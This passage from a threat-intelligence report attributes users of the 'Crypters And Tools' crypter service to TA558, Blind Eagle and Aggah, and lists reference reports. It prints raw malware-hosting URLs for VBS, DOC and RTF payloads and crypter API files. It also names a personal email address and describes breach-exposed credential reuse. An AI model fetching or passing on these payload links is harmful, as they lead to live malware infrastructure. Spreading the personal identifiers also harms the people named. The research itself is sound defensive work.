infrastructure. Therefore, we assess with high confidence that deadpoolstart2025 and ABBAS are either members of Blind Eagle or maintain
direct collaboration with the group.

TA558: Brainiac, syscore and negrocock

As demonstrated in the case of user ABBAS, some Crypters And Tools users were identified during our research into the activities of specific
threat groups — namely Blind Eagle and TA558.

Two such users — BrainiacMAX and syscore — were found interacting with the crypter's infrastructure via its API:

http://91.92.254.14/Users_API/BrainiacMAX/file_ksg3fckt.hot.txt
http://66.70.160.254/Users_API/syscore/file_ikvt3ei1.mgv.txt

In the chapter "Features of TA558 and How It Differs from Blind Eagle", we outlined distinct characteristics that help identify the TA558 group.
In this case, the attack chain linked to BrainiacMAX exhibits a classic example of TA558 activity — including infrastructure hosted on AS-
COLOCROSSING and the use of uniquely structured filenames:

http://192.3.216.148/uh.ee.uh.ee.uhuheee.doc
http://192.3.216.148/datingloverstartingAgain.vbs

Moreover, the exfiltrated data was sent via a legitimate but compromised SMTP server in Romania — a technique consistent with TA558's
known activity, which we have observed since our first publication about the group.

https://research.checkpoint.com/2025/blind-eagle-and-justice-for-all/
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/crypters-and-tools-part-2-different-paws-same-tangle#Features%20of%C2%A0TA558%20and%C2%A0How%20It%C2%A0Differs%20from%20Blind%20Eagle
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/steganoamor-campaign-ta558-mass-attacking-companies-and-public-institutions-all-around-the-world
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A similar pattern was observed in the case of user syscore. The attack involved an Excel document with a filename highly characteristic
of TA558: Product Inquiry466789.xls

(SHA-256: 3a7d034a793a0f03dc9930446aebf326320140584eeb171909962ec7123f9e5e)/

Upon execution, the file downloaded an RTF template from the following URL:

http://51.81.235.253/66166/hd/hd.d.d.d.dddd.doC

Later in the attack chain, a VBS file appeared — again bearing a filename highly typical of TA558:

http://51.81.235.253/66166/catcallingfemalecattogiveflowersgreat.gif

Both of these users were identified in the Crypters And Tools database.

Figure 35.1. Information from the database about the user Brainiac

Figure 35.2. Information from the database about the user syscore

As with the users deadpoolstart2025 and ABBAS, we can state with confidence that these specific users — BrainiacMAX and syscore — are
affiliated with a publicly documented group. In this case, that group is TA558.

Another user, negrocock, was found in a similar way:

http://94.156.65.247/Users_API/negrocock/file_mq5uppna.ldt.txt

His attacks also contained typical for TA558 patterns:

http://198.46.178.144/morningfiledatinglover.vbs
http://198.46.178.144/eveningfiledatinglover.vbs

KareemHacker

The following user was present in the Crypters And Tools database:
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Figure 36. Information from the database about the user KareemHacker

Kareem.Hacker is a hacker, presumably from Morocco, who has been credited with defacements of at least 538 sites according to mirror-h
(a site that collects defacement data), and 1,671 according to zone-h. He also has his own GitHub account, an X account, and several
YouTube channels, one of which features him writing Arabic lyrics to music and showing sites he has defaced. His X account is currently
blocked for violating the rules, as some users have complained that he has hacked their sites.

Figure 37. GitHub account: Kareem.Hacker

It is worth noting that Kareem Hacker may be a legitimate though uncommon combination of first and last name. At this time, we cannot
confirm with certainty that the Crypters And Tools user and the defacer known as Kareem.Hacker are the same individual.

HeadMaster

During our research of Crypters And Tools, we examined various marketplaces, websites, and other platforms where the crypter is sold. One
such platform is nitrosoftwares[.]com, which offers a range of tools including exploits, crypters, loggers, crypto clippers, and etc.

https://mirror-h.org/search/hacker/1698/pages/1
http://www.zone-h.org/archive/notifier=Kareem_Hacker
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Figure 38. Website for selling various software

Figure 39. Contacts on the website

We found the following user in the Crypters And Tools database.
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Figure 40. Information from the database about the user headmaster

Note the connection between the Discord account "HeadMaster" and the email address jkbest22@gmail.com (Figure 39). In public data
breaches, we found several passwords linked to this email address, one of which matches the password used by headmaster in Figure 40
(the password is hidden in the image).

This suggests the attacker reused the same credentials across multiple email accounts and services including the aforementioned malware
marketplace.

Additionally, several of the attacker's email accounts appeared in data leaks that exposed not only usernames and passwords but
also IP addresses, all of which resolved to Pakistan — the suspected country of origin for the Aggah group. However, it has not yet been
possible to establish an unambiguous connection between HeadMaster and Aggah.

Others Users

Another identified user is HURRICANE.

Figure 41. Information from the database about the user HURRICANE

This user, like many others, was identified through API requests to Crypters And Tools infrastructure, which he made during his attacks:

http://94.156.65.247/Users_API/HURRICANE/file_lfhsdrdp.5db.txt
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Figure 42. Example of a letter from Crypters And Tools user — HURRICANE

The document filenames resembled those typically used by TA558, but the subsequent stages of the attack chain differed significantly.

In addition, we observed several other URLs linked to Crypters And Tools users, although we currently do not have further information
on those actors:

http://91.92.254.14/Users_API/Just1ne/file_1hsfgryb.he3.txt
http://91.92.254.14/Users_API/gavrels/file_ycm2xqby.heg.txty
https://91.92.254.29/Users_API/Ws/file_wuey5ekz.pcq.txt

Conclusion

Researchers frequently cite Crypters And Tools infrastructure as indicators linked to specific threat groups. However, this attribution is not
always accurate. In the first part of our research, we detailed the crypter's architecture and outlined a set of network and file-based indicators
associated with Crypters And Tools. In this second part, we demonstrated which threat groups have used the crypter as well as the
connections between them.

We also analyzed the activity of several individual Crypters And Tools users and were able to confidently attribute some of them to known
threat groups such as Blind Eagle and TA558. In addition, we identified other notable users, for instance, bukky101, who, together with another
user, sent at least 60,300 phishing emails in a single day across multiple regions.

Moreover, the recent campaigns attributed to Aggah indicate that, despite a period of inactivity in 2022, the group has remained active
throughout 2024 and 2025. Core techniques like the use of serverless infrastructure (for example, Blogspot, Bitbucket) continue to play
a central role in its infection chains. At the same time, we observed the adoption of new payloads such as Rhadamanthys and XWorm.

List of Reports Mentioning the Groups and the Crypter

Aggah

https://malware.news/t/unknown-ttps-of-remcos-rat/80082
https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/
https://web.archive.org/web/20240106015245/https:/marcoramilli.com/2022/11/21/is-hagga-threat-actor-abusing-fsociety-framework/
https://ti.qianxin.com/blog/articles/Subgroup-of-Blind-Eagle-Analysis-of-Recent-Attack-Activities-from-Hagga-Group-EN/

TA558

https://www.metabaseq.com/threat/ta588/

https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/crypters-and-tools-one-tool-for-thousands-of-malicious-files
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https://www.forcepoint.com/blog/x-labs/url-shortener-microsoft-word-remcos-rat-trojan
https://cyble.com/blog/threat-actor-employs-powershell-backed-steganography-in-recent-spam-campaigns/
https://www.seqrite.com/blog/steganographic-campaign-distributing-malware/
https://www.trellix.com/blogs/research/unmasking-the-hidden-threat-inside-a-sophisticated-excel-based-attack-delivering-fileless-remcos-
rat/
https://www.cyfirma.com/research/exploiting-document-templates-stego-campaign-deploying-remcos-rat-and-agent-tesla/

Blind Eagle

https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia
https://www.esentire.com/blog/blind-eagles-north-american-journey
https://mp.weixin.qq.com/s/DDCCjhBjUTa7Ia4Hggsa1A
https://any.run/cybersecurity-blog/steganography-in-malware-attacks/

PhantomControl

https://www.esentire.com/blog/phantomcontrol-returns-with-ande-loader-and-swaetrat

Articles Featuring Crypters And Tools without Attribution to Any Groups

https://somedieyoungzz.github.io/posts/stego-camp/
https://asec.ahnlab.com/en/65111/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/agent-teslas-unique-approach-vbs-and-steganography-for-delivery-and-intrusion/
https://www.zscaler.com/blogs/security-research/threat-actors-exploit-cve-2017-11882-deliver-agent-tesla
https://www.fortinet.com/blog/threat-research/python-info-stealer-malicious-excel-document
https://blog.itochuci.co.jp/entry/2024/04/16/163014
https://medium.com/@b.magnezi/malware-analysis-xworm-80b3bbb072fb


